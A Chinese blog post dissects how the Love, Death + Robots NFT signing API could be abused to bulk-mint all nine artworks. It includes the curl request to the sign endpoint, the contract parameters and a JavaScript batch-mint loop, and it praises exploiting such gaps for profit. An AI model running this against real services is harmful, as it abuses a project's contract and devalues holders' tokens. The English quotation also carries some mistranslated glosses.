前
Netflix 出了最新的一集的 《爱,死亡,机器人》,这一季是送NFT 的一季。
Nine Love, Death + Robots QR-Coded Artworks (艺术品) have been strewn across the digital and physical world. Each piece of special, limited edition imagery (意象) reflects Love, Death + Robots’ unique collective of visual perspectives and creative storytelling (弹词) from Volume 3. To collect them all, you’ll have to be vigilant (警惕) . Look out for Love, Death + Robots QR codes to scan in order to unlock (解锁) the art. Mint (薄荷) the art as an NFT, or right-click and save it the old-fashioned way. The choice is yours, human.
虽然活动是好的,但是出了问题,对于mint的签名没有任何的限制,任何人都可以通过接口来进行批量的签名和mint。下面已经有大佬写好了批量mint 的工具
呢吗这篇文章的主要目的,就是模拟一下 发现这个 漏洞的思路,以及对这个工具的原理的剖析,毕竟是多学习模仿才能进步。
正文
漏洞发崛部分
官方在剧集里面讲,会出现NFT 的Qrcode,扫描之后进入Mint页面
https://lovedeathandart.com/kj2sp8
构建签名
这里直接点击mint me,可以在浏览器的开发者模式看到 sign 的接口调用,右键复制 curl
curl 'https://us-central1-ldr-prod.cloudfunctions.net/api/sign' \
-H 'authority: us-central1-ldr-prod.cloudfunctions.net' \
-H 'accept: application/json, text/plain, */*' \
-H 'accept-language: zh,zh-CN;q=0.9' \
-H 'cache-control: no-cache' \
-H 'content-type: application/json' \
-H 'dnt: 1' \
-H 'origin: https://lovedeathandart.com' \
-H 'pragma: no-cache' \
-H 'referer: https://lovedeathandart.com/' \
-H 'sec-fetch-dest: empty' \
-H 'sec-fetch-mode: cors' \
-H 'sec-fetch-site: cross-site' \
-H 'user-agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1' \
--data-raw '{"address":"0x000","category":"9"}' \
--compressed
得到上面的 Curl 请求, 这里需要注意的是 address 需要替换为自己的地址,Category 需要换成对应的选集。请求之后得到下面的内容:这里的 vrs 就立即让大家联想到 secp256k1 算法。
{"message":"0x87b5cc68157bf098...a1428b0723919c5dc87536f4af06c","messageHash":"0x506c883be0c095b1512aa679...c378309ce0e1","v":"0x1c","r":"0x1d957d3f6a0f53e261d7e1001f6...e440e370ca6812227634","s":"0x58dc6d11201f072972564cff3...57156c3fc0ca4d7dea902","signature":"0x1d957d3f6a0f53e261d7e1001f60e94f55df...021c"}
发送交易
通过os搜索,或者各大地方来获取 NFT 对应的地址,打开区块浏览器
- https://etherscan.io/token/0xfd43d1da000558473822302e1d44d81da2e4cc0d
到Transaction 里面找到大家调用的交易,看大家调用的最多的是哪个,以及其参数。可以看到参数如下
-
_category uint256 1
-
_data bytes 0x1b
- _signature bytes 0xb10b4f29f576f3…
这里的 category 和 signature,在签名拿到sign 结果已经可以拿到了。还有一个就是这个 _data , 这个参数在看历史交易里面 发现全都是 0x1b 所以应该是一个常数值。构建好之后就可以点击 write contract。完成mint 国产。
dApp 分析
对这里的批量mint 工具来作分析,学习一下相关的思路和方法
是使用 react 编写,用到下面两个web3相关的lib
- ethers
- web3modal
ethers 这个之前有使用过,Web3modal 这个研究了下,是包装了web3钱包的 API,可以统一代码模式。
代码的主要逻辑也是签名的接口调用,模拟Curl 的请求。
点击连接之后调用web3Modal.connect()
之后来设置 Instance 。有了Instance 之后,进行了条件渲染。
到了 claimAllWrapper
函数,设置 running 状态,await 阻塞,等待 claimAll,在下面是 这里的核心代码。
const contract = new ethers.Contract(
"0xFD43D1dA000558473822302e1d44D81dA2e4cC0d",
// 这里来导入了ABI,也就是我们要用的接口
["function mint ( uint256 _category, bytes _data, bytes _signature )"],
provider.getSigner()
);
const address = await provider.getSigner().getAddress();
for (let i = 1; i <= 9; i++) {
const signature = await requestSign(address, i);
await contract
.mint(i, signature["v"], signature["signature"])
.catch(() => {});
console.log(`Success mint #${i}`);
}
去构建合约的 ABI,并且使用 requestSign 来获得签名,之后调用 合约方法,来实现mint ,这里的data 可以看到 是 secp256k1 的 v 字段。
recovery id 值,但在以太坊中用
V
表示
之后对合约进行直接调用,完成mint 的操作。
后
从上面的分析可以看到,这种漏洞利用实际上的过程是非常简单的。但是这些往往就是机会,发现的早带来的信息差的收益就是机会。 这个 nft 在刚开始是 0.05E ,现在因为在被大量的mint 已经跌到了 0.003E 。
分析这个过程,让自己在保持敏锐,能抓到潜在的机会。